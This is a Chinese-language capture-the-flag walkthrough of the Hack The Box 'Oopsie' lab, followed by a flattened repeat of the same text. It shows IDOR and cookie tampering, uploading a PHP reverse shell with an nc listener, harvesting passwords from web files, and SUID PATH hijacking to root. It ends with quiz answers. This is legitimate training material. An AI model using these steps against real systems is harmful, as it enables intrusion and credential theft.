Hack The Box :: Starting Point - Tier2 - Oopsie
字数 1386 2025-08-12 11:33:35

HTB Starting Point - Tier2 Oopsie 漏洞利用完整指南

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始扫描:

nmap -sC -sV -v 10.129.55.115

发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务

1.2 目录枚举

使用gobuster进行目录扫描:

gobuster dir -u http://10.129.55.115 -w /usr/share/wordlists/dirb/common.txt

重要发现:

  • /uploads 目录:可能存在文件上传漏洞
  • /cdn-cgi/login 目录:包含登录页面

2. 越权访问

2.1 发现登录页面

通过分析网站源码发现登录页面路径:

http://10.129.55.115/cdn-cgi/login/

2.2 游客登录

尝试使用游客(Guest)身份登录,发现功能受限。

2.3 水平越权

  1. 观察URL结构:

    http://10.129.55.115/cdn-cgi/login/admin.php?content=accounts&id=2
    
    • Guest的ID为2
    • 推测ID=1为admin
  2. 修改ID参数为1,成功获取admin的Access ID

2.4 修改Cookie

通过修改以下Cookie项获取admin权限:

  • role:修改为admin
  • user:修改为获取到的admin ID

3. 文件上传与Getshell

3.1 上传Webshell

  1. 使用kali自带的webshell:
    /usr/share/webshells/php/php-reverse-shell.php
    
  2. 修改webshell中的IP和端口
  3. 上传修改后的shell.php文件

3.2 反弹Shell

  1. 本地监听:
    nc -nlvp 4444
    
  2. 访问上传的shell:
    http://10.129.55.115/uploads/shell.php
    

4. 横向移动

4.1 用户枚举

查看系统用户:

cat /etc/passwd

发现robert用户

4.2 查找敏感文件

在web目录中发现重要文件:

/var/www/html/cdn-cgi/login/

包含文件:

  • admin.php
  • db.php
  • index.php

4.3 获取凭据

  1. 在index.php中发现密码:
    MEGACORP_4dm1n!!
    
  2. 在db.php中发现robert用户的密码

4.4 切换用户

  1. 生成伪终端:
    python -c 'import pty; pty.spawn("/bin/bash")'
    
  2. 切换到robert用户:
    su robert
    

5. 权限提升

5.1 发现SUID程序

  1. 检查robert的组:

    id
    

    发现属于bugtracker组

  2. 查找bugtracker组的文件:

    find / -group bugtracker 2>/dev/null
    

    发现:

    /usr/bin/bugtracker
    
  3. 检查文件权限:

    ls -la /usr/bin/bugtracker
    

    显示具有SUID权限,所有者是root

5.2 分析程序行为

执行bugtracker发现:

  • 使用cat命令读取/root/reports/下的文件
  • 直接调用cat命令,存在环境变量注入漏洞

5.3 利用SUID提权

  1. 创建恶意cat文件:

    echo '/bin/bash' > /tmp/cat
    chmod +x /tmp/cat
    
  2. 修改PATH环境变量:

    export PATH=/tmp:$PATH
    
  3. 执行bugtracker获取root shell

5.4 注意事项

  • 提权后如需读取root.txt,需先删除/tmp/cat
  • 避免影响系统正常功能

6. 问题解答

  1. 拦截Web流量的工具:proxy
  2. 返回登录页面的路径:/cdn-cgi/login
  3. 修改Firefox中的什么来访问上传页面:cookie
  4. admin用户的access ID:1
  5. 上传文件后出现在服务器的哪个目录:/uploads
  6. 包含robert用户共享密码的文件:db.php
  7. 用于识别bugtracker组所有文件的命令:find -group bugtracker
  8. bugtracker执行时的用户权限:root
  9. SUID的含义:Set Owner User ID
  10. 以不安全方式调用的可执行文件:cat

7. 总结

本靶机涉及的关键技术点:

  1. 信息收集与目录枚举
  2. 水平越权漏洞利用
  3. Cookie操纵与权限提升
  4. 文件上传漏洞利用
  5. 反弹Shell技术
  6. SUID提权与环境变量注入
  7. 敏感信息查找与利用

通过系统化的信息收集和逻辑漏洞利用,最终实现了从普通用户到root权限的完整渗透路径。

HTB Starting Point - Tier2 Oopsie 漏洞利用完整指南 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始扫描: 发现开放端口: 22端口:SSH服务 80端口:HTTP服务 1.2 目录枚举 使用gobuster进行目录扫描: 重要发现: /uploads 目录:可能存在文件上传漏洞 /cdn-cgi/login 目录:包含登录页面 2. 越权访问 2.1 发现登录页面 通过分析网站源码发现登录页面路径: 2.2 游客登录 尝试使用游客(Guest)身份登录,发现功能受限。 2.3 水平越权 观察URL结构: Guest的ID为2 推测ID=1为admin 修改ID参数为1,成功获取admin的Access ID 2.4 修改Cookie 通过修改以下Cookie项获取admin权限: role :修改为admin user :修改为获取到的admin ID 3. 文件上传与Getshell 3.1 上传Webshell 使用kali自带的webshell: 修改webshell中的IP和端口 上传修改后的shell.php文件 3.2 反弹Shell 本地监听: 访问上传的shell: 4. 横向移动 4.1 用户枚举 查看系统用户: 发现robert用户 4.2 查找敏感文件 在web目录中发现重要文件: 包含文件: admin.php db.php index.php 4.3 获取凭据 在index.php中发现密码: 在db.php中发现robert用户的密码 4.4 切换用户 生成伪终端: 切换到robert用户: 5. 权限提升 5.1 发现SUID程序 检查robert的组: 发现属于bugtracker组 查找bugtracker组的文件: 发现: 检查文件权限: 显示具有SUID权限,所有者是root 5.2 分析程序行为 执行bugtracker发现: 使用cat命令读取 /root/reports/ 下的文件 直接调用cat命令,存在环境变量注入漏洞 5.3 利用SUID提权 创建恶意cat文件: 修改PATH环境变量: 执行bugtracker获取root shell 5.4 注意事项 提权后如需读取root.txt,需先删除/tmp/cat 避免影响系统正常功能 6. 问题解答 拦截Web流量的工具:proxy 返回登录页面的路径:/cdn-cgi/login 修改Firefox中的什么来访问上传页面:cookie admin用户的access ID:1 上传文件后出现在服务器的哪个目录:/uploads 包含robert用户共享密码的文件:db.php 用于识别bugtracker组所有文件的命令:find -group bugtracker bugtracker执行时的用户权限:root SUID的含义:Set Owner User ID 以不安全方式调用的可执行文件:cat 7. 总结 本靶机涉及的关键技术点: 信息收集与目录枚举 水平越权漏洞利用 Cookie操纵与权限提升 文件上传漏洞利用 反弹Shell技术 SUID提权与环境变量注入 敏感信息查找与利用 通过系统化的信息收集和逻辑漏洞利用,最终实现了从普通用户到root权限的完整渗透路径。